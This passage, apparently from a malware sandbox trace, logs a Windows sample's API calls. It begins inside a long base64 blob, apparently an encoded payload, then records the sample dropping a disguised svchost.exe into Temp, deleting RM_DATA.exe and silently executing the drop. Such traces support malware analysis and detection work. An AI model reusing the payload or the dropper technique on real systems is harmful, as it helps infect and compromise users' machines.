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") returned 417112 [0111.969] VirtualFree (lpAddress=0x7fe40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0111.972] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7fe40000 [0111.982] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7fd00000 [0112.136] VirtualFree (lpAddress=0x7fe40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.139] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7fe40000 [0112.149] VirtualAlloc (lpAddress=0x0, dwSize=0x50000, flAllocationType=0x101000, flProtect=0x4) returned 0x7fcb0000 [0112.157] VirtualFree (lpAddress=0x7fe40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.159] VirtualAlloc (lpAddress=0x0, dwSize=0x50000, flAllocationType=0x101000, flProtect=0x4) returned 0x7fe60000 [0112.175] VirtualFree (lpAddress=0x7fcb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.177] VirtualFree (lpAddress=0x7fd00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.550] GetCurrentThreadId () returned 0x112c [0112.550] GetCurrentThreadId () returned 0x112c [0112.550] GetCurrentThreadId () returned 0x112c [0112.550] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\svchost.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\svchost.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0112.550] WriteFile (in: hFile=0x280, lpBuffer=0x7fe60010*, nNumberOfBytesToWrite=0x4c600, lpNumberOfBytesWritten=0x19fdf8, lpOverlapped=0x0 | out: lpBuffer=0x7fe60010*, lpNumberOfBytesWritten=0x19fdf8*=0x4c600, lpOverlapped=0x0) returned 1 [0112.563] CloseHandle (hObject=0x280) returned 1 [0112.587] GetCurrentThreadId () returned 0x112c [0112.587] GetCurrentThreadId () returned 0x112c [0112.587] GetCurrentThreadId () returned 0x112c [0112.587] VirtualFree (lpAddress=0x7fe60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.589] VirtualFree (lpAddress=0x7fd70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.603] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\UNC\\", cchCount1=8, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=8) returned 1 [0112.603] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\", cchCount1=4, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=4) returned 1 [0112.603] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\UNC\\", cchCount1=8, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=8) returned 1 [0112.603] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\", cchCount1=4, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=4) returned 1 [0112.603] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\UNC\\", cchCount1=8, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=8) returned 1 [0112.603] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\", cchCount1=4, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=4) returned 1 [0112.603] SetLastError (dwErrCode=0x0) [0112.603] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", nBufferLength=0x104, lpBuffer=0x19fc00, lpFilePart=0x19fbfc | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", lpFilePart=0x19fbfc*="RM_DATA.exe") returned 0x2e [0112.603] GetLastError () returned 0x0 [0112.603] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\UNC\\", cchCount1=8, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=8) returned 1 [0112.603] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\", cchCount1=4, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=4) returned 1 [0112.603] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\UNC\\", cchCount1=8, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=8) returned 1 [0112.603] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="\\\\?\\", cchCount1=4, lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe", cchCount2=4) returned 1 [0112.604] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp")) returned 0x10 [0112.604] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\RM_DATA.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\rm_data.exe")) returned 1 [0112.609] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0x19f660, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp") returned 0x22 [0112.609] ShellExecuteW (hwnd=0x0, lpOperation="open", lpFile="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\svchost.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=0) returned 0x2a [0128.684] PostQuitMessage (nExitCode=0) [0128.684] PostQuitMessage (nExitCode=0) [0128.685] PostQuitMessage (nExitCode=0) [0128.685] PostQuitMessage (nExitCode=0) [0128.685] PostQuitMessage (nExitCode=0) [0128.685] PostQuitMessage (nExitCode=0) [0128.685] PostQuitMessage (nExitCode=0) [0128.685] PostQuitMessage (nExitCode=0) [0128.685] PostQuitMessage (nExitCode=0) [0128.685] PostQuitMessage (nExitCode=0) [0128.685] PostQuitMessage (nExitCode=0) [0128.685] PostQuitMessage (nExitCode=0) [0128.685] PostQuitMessage (nExitCode=0) [0128.685] PostQuitMessage (nExitCode=0) [0128.685] PostQuitMessage (nExitCode=0) [0128.686] PostQuitMessage (nExitCode=0) [0128.686] PostQuitMessage (nExitCode=0) [0128.686] PostQuitMessage (nExitCode=0) [0128.686] PostQuitMessage (nExitCode=0) [0128.686] PostQuitMessage (nExitCode=0) [0128.686] PostQuitMessage (nExitCode=0) [0128.686] PostQuitMessage (nExitCode=0) [0128.686] PostQuitMessage (nExitCode=0) [0128.686] PostQuitMessage (nExitCode=0) [0128.686] GetWindowLongW (hWnd=0x202c4, nIndex=-20) returned 256 [0128.686] IsIconic (hWnd=0x202c4) returned 0 [0128.686] IsWindowVisible (hWnd=0x202c4) returned 0 [0128.686] SetWindowLongW (hWnd=0x202c4, nIndex=-20, dwNewLong=262400) returned 256 [0128.687] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x7c, wParam=0xffffffec, lParam=0x19fed4) returned 0x0 [0128.688] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x7d, wParam=0xffffffec, lParam=0x19fed4) returned 0x0 [0128.689] EnumWindows (lpEnumFunc=0x5f2a30, lParam=0x19ff28) returned 0 [0128.689] GetWindow (hWnd=0x10158, uCmd=0x4) returned 0x0 [0128.689] GetWindow (hWnd=0x10124, uCmd=0x4) returned 0x0 [0128.690] GetWindow (hWnd=0x100cc, uCmd=0x4) returned 0x0 [0128.690] GetWindow (hWnd=0x100c8, uCmd=0x4) returned 0x0 [0128.690] GetWindow (hWnd=0x100c4, uCmd=0x4) returned 0x0 [0128.690] GetWindow (hWnd=0x100c0, uCmd=0x4) returned 0x0 [0128.690] GetWindow (hWnd=0x100ac, uCmd=0x4) returned 0x0 [0128.690] GetWindow (hWnd=0x100a4, uCmd=0x4) returned 0x0 [0128.690] GetWindow (hWnd=0x10098, uCmd=0x4) returned 0x0 [0128.690] GetWindow (hWnd=0x100dc, uCmd=0x4) returned 0x10090 [0128.690] GetWindow (hWnd=0x100d0, uCmd=0x4) returned 0x10090 [0128.690] GetWindow (hWnd=0x100d4, uCmd=0x4) returned 0x10090 [0128.690] GetWindow (hWnd=0x10090, uCmd=0x4) returned 0x0 [0128.690] GetWindow (hWnd=0x101d8, uCmd=0x4) returned 0x101d6 [0128.690] GetWindow (hWnd=0x10100, uCmd=0x4) returned 0x0 [0128.690] GetWindow (hWnd=0x100de, uCmd=0x4) returned 0x0 [0128.690] GetWindow (hWnd=0x102b4, uCmd=0x4) returned 0x0 [0128.690] GetWindow (hWnd=0x302c0, uCmd=0x4) returned 0x202c4 [0128.690] GetWindowLongW (hWnd=0x302c0, nIndex=-20) returned 589824 [0128.690] SetActiveWindow (hWnd=0x202c4) returned 0x0 [0128.691] CallWindowProcW (lpPrevWndFunc=0x41525c, hWnd=0x302c0, Msg=0x46, wParam=0x0, lParam=0x19ff0c) returned 0x0 [0128.691] GetCurrentThreadId () returned 0x112c [0128.691] GetCurrentThreadId () returned 0x112c [0128.691] GetCurrentThreadId () returned 0x112c [0128.691] GetCurrentThreadId () returned 0x112c [0128.691] GetCurrentThreadId () returned 0x112c [0128.691] GetCurrentThreadId () returned 0x112c [0128.691] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x46, wParam=0x0, lParam=0x19ff0c) returned 0x0 [0128.691] CallWindowProcW (lpPrevWndFunc=0x41525c, hWnd=0x302c0, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0128.692] GetCurrentThreadId () returned 0x112c [0128.692] GetCurrentThreadId () returned 0x112c [0128.692] GetCurrentThreadId () returned 0x112c [0128.692] GetCurrentThreadId () returned 0x112c [0128.692] GetCurrentThreadId () returned 0x112c [0128.692] GetCurrentThreadId () returned 0x112c [0128.692] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0128.692] PostMessageW (hWnd=0x202c4, Msg=0xb000, wParam=0x0, lParam=0x0) returned 1 [0128.692] NtdllDefWindowProc_W (hWnd=0x302c2, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0128.692] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0128.694] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0129.354] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0129.361] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0129.362] PostMessageW (hWnd=0x202c4, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 1 [0129.362] NtdllDefWindowProc_W (hWnd=0x202c4, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0129.362] EnumWindows (lpEnumFunc=0x5f2d38, lParam=0x302c0) returned 1 [0129.362] GetWindow (hWnd=0x10158, uCmd=0x4) returned 0x0 [0129.362] GetCurrentProcessId () returned 0x110c [0129.362] GetWindow (hWnd=0x10124, uCmd=0x4) returned 0x0 [0129.362] GetCurrentProcessId () returned 0x110c [0129.363] GetWindow (hWnd=0x100cc, uCmd=0x4) returned 0x0 [0129.363] GetCurrentProcessId () returned 0x110c [0129.363] GetWindow (hWnd=0x100c8, uCmd=0x4) returned 0x0 [0129.363] GetCurrentProcessId () returned 0x110c [0129.363] GetWindow (hWnd=0x100c4, uCmd=0x4) returned 0x0 [0129.363] GetCurrentProcessId () returned 0x110c [0129.363] GetWindow (hWnd=0x100c0, uCmd=0x4) returned 0x0 [0129.363] GetCurrentProcessId () returned 0x110c [0129.363] GetWindow (hWnd=0x100ac, uCmd=0x4) returned 0x0 [0129.363] GetCurrentProcessId () returned 0x110c [0129.363] GetWindow (hWnd=0x100a4, uCmd=0x4) returned 0x0 [0129.363] GetCurrentProcessId () returned 0x110c [0129.363] GetWindow (hWnd=0x10098, uCmd=0x4) returned 0x0 [0129.363] GetCurrentProcessId () returned 0x110c [0129.363] GetWindow (hWnd=0x100dc, uCmd=0x4) returned 0x10090 [0129.363] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x80c [0129.363] GetCurrentProcessId () returned 0x110c [0129.363] GetWindow (hWnd=0x100d0, uCmd=0x4) returned 0x10090 [0129.363] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x80c [0129.363] GetCurrentProcessId () returned 0x110c [0129.363] GetWindow (hWnd=0x100d4, uCmd=0x4) returned 0x10090 [0129.363] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0x80c [0129.364] GetCurrentProcessId () returned 0x110c [0129.364] GetWindow (hWnd=0x10090, uCmd=0x4) returned 0x0 [0129.364] GetCurrentProcessId () returned 0x110c [0129.364] GetWindow (hWnd=0x101d8, uCmd=0x4) returned 0x101d6 [0129.364] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x19fec0 | out: lpdwProcessId=0x19fec0) returned 0xc9c [0129.364] GetCurrentProcessId () returned 0x110c [0129.364] GetWindow (hWnd=0x10100, uCmd=0x4) returned 0x0 [0129.364] GetCurrentProcessId () returned 0x110c [0129.364] GetWindow (hWnd=0x100de, uCmd=0x4) returned 0x0 [0129.364] GetCurrentProcessId () returned 0x110c [0129.364] GetWindow (hWnd=0x102b4, uCmd=0x4) returned 0x0 [0129.364] GetCurrentProcessId () returned 0x110c [0129.364] GetWindow (hWnd=0x302c0, uCmd=0x4) returned 0x202c4 [0129.364] GetCurrentProcessId () returned 0x110c [0129.364] GetWindow (hWnd=0x202c4, uCmd=0x4) returned 0x0 [0129.364] GetCurrentProcessId () returned 0x110c [0129.364] GetWindow (hWnd=0x302c2, uCmd=0x4) returned 0x0 [0129.364] GetCurrentProcessId () returned 0x110c [0129.364] GetWindow (hWnd=0xb02be, uCmd=0x4) returned 0x0 [0129.364] GetCurrentProcessId () returned 0x110c [0129.364] GetWindow (hWnd=0x202ae, uCmd=0x4) returned 0x0 [0129.364] GetCurrentProcessId () returned 0x110c [0129.364] GetWindow (hWnd=0x202aa, uCmd=0x4) returned 0x0 [0129.364] GetCurrentProcessId () returned 0x110c [0129.364] GetWindow (hWnd=0x202a6, uCmd=0x4) returned 0x0 [0129.365] GetCurrentProcessId () returned 0x110c [0129.365] GetWindow (hWnd=0x102a2, uCmd=0x4) returned 0x0 [0129.365] GetCurrentProcessId () returned 0x110c [0129.365] GetWindow (hWnd=0x1029e, uCmd=0x4) returned 0x0 [0129.365] GetCurrentProcessId () returned 0x110c [0129.365] GetWindow (hWnd=0x1029a, uCmd=0x4) returned 0x0 [0129.365] GetCurrentProcessId () returned 0x110c [0129.365] GetWindow (hWnd=0x20296, uCmd=0x4) returned 0x0 [0129.365] GetCurrentProcessId () returned 0x110c [0129.365] GetWindow (hWnd=0x10292, uCmd=0x4) returned 0x0 [0129.365] GetCurrentProcessId () returned 0x110c [0129.365] GetWindow (hWnd=0x2028e, uCmd=0x4) returned 0x0 [0129.365] GetCurrentProcessId () returned 0x110c [0129.365] GetWindow (hWnd=0x20288, uCmd=0x4) returned 0x0 [0129.365] GetCurrentProcessId () returned 0x110c [0129.365] GetWindow (hWnd=0x20282, uCmd=0x4) returned 0x0 [0129.365] GetCurrentProcessId () returned 0x110c [0129.365] GetWindow (hWnd=0x20280, uCmd=0x4) returned 0x0 [0129.365] GetCurrentProcessId () returned 0x110c [0129.365] GetWindow (hWnd=0x1027e, uCmd=0x4) returned 0x0 [0129.365] GetCurrentProcessId () returned 0x110c [0129.365] GetWindow (hWnd=0x20278, uCmd=0x4) returned 0x0 [0129.365] GetCurrentProcessId () returned 0x110c [0129.365] GetWindow (hWnd=0x20274, uCmd=0x4) returned 0x0 [0129.365] GetCurrentProcessId () returned 0x110c [0129.366] GetWindow (hWnd=0x20272, uCmd=0x4) returned 0x0 [0129.366] GetCurrentProcessId () returned 0x110c [0129.366] GetWindow (hWnd=0x2026c, uCmd=0x4) returned 0x0 [0129.366] GetCurrentProcessId () returned 0x110c [0129.366] GetWindow (hWnd=0x20268, uCmd=0x4) returned 0x0 [0129.366] GetCurrentProcessId () returned 0x110c [0129.366] GetWindow (hWnd=0x20264, uCmd=0x4) returned 0x0 [0129.366] GetCurrentProcessId () returned 0x110c [0129.366] GetWindow (hWnd=0x20260, uCmd=0x4) returned 0x0 [0129.366] GetCurrentProcessId () returned 0x110c [0129.366] GetWindow (hWnd=0x2025e, uCmd=0x4) returned 0x0 [0129.366] GetCurrentProcessId () returned 0x110c [0129.366] GetWindow (hWnd=0x2025a, uCmd=0x4) returned 0x0 [0129.366] GetCurrentProcessId () returned 0x110c [0129.366] GetWindow (hWnd=0x20256, uCmd=0x4) returned 0x0 [0129.366] GetCurrentProcessId () returned 0x110c [0129.366] GetWindow (hWnd=0x20252, uCmd=0x4) returned 0x0 [0129.366] GetCurrentProcessId () returned 0x110c [0129.366] GetWindow (hWnd=0x2024e, uCmd=0x4) returned 0x0 [0129.366] GetCurrentProcessId () returned 0x110c [0129.366] GetWindow (hWnd=0x2024a, uCmd=0x4) returned 0x0 [0129.366] GetCurrentProcessId () returned 0x110c [0129.366] GetWindow (hWnd=0x20246, uCmd=0x4) returned 0x0 [0129.366] GetCurrentProcessId () returned 0x110c [0129.367] GetWindow (hWnd=0x20242, uCmd=0x4) returned 0x0 [0129.367] GetCurrentProcessId () returned 0x110c [0129.367] GetWindow (hWnd=0x2023e, uCmd=0x4) returned 0x0 [0129.367] GetCurrentProcessId () returned 0x110c [0129.367] GetWindow (hWnd=0x2023a, uCmd=0x4) returned 0x0 [0129.367] GetCurrentProcessId () returned 0x110c [0129.367] GetWindow (hWnd=0x20234, uCmd=0x4) returned 0x0 [0129.367] GetCurrentProcessId () returned 0x110c [0129.367] GetWindow (hWnd=0x10232, uCmd=0x4) returned 0x0 [0129.367] GetCurrentProcessId () returned 0x110c [0129.367] GetWindow (hWnd=0x2022e, uCmd=0x4) returned 0x0 [0129.367] 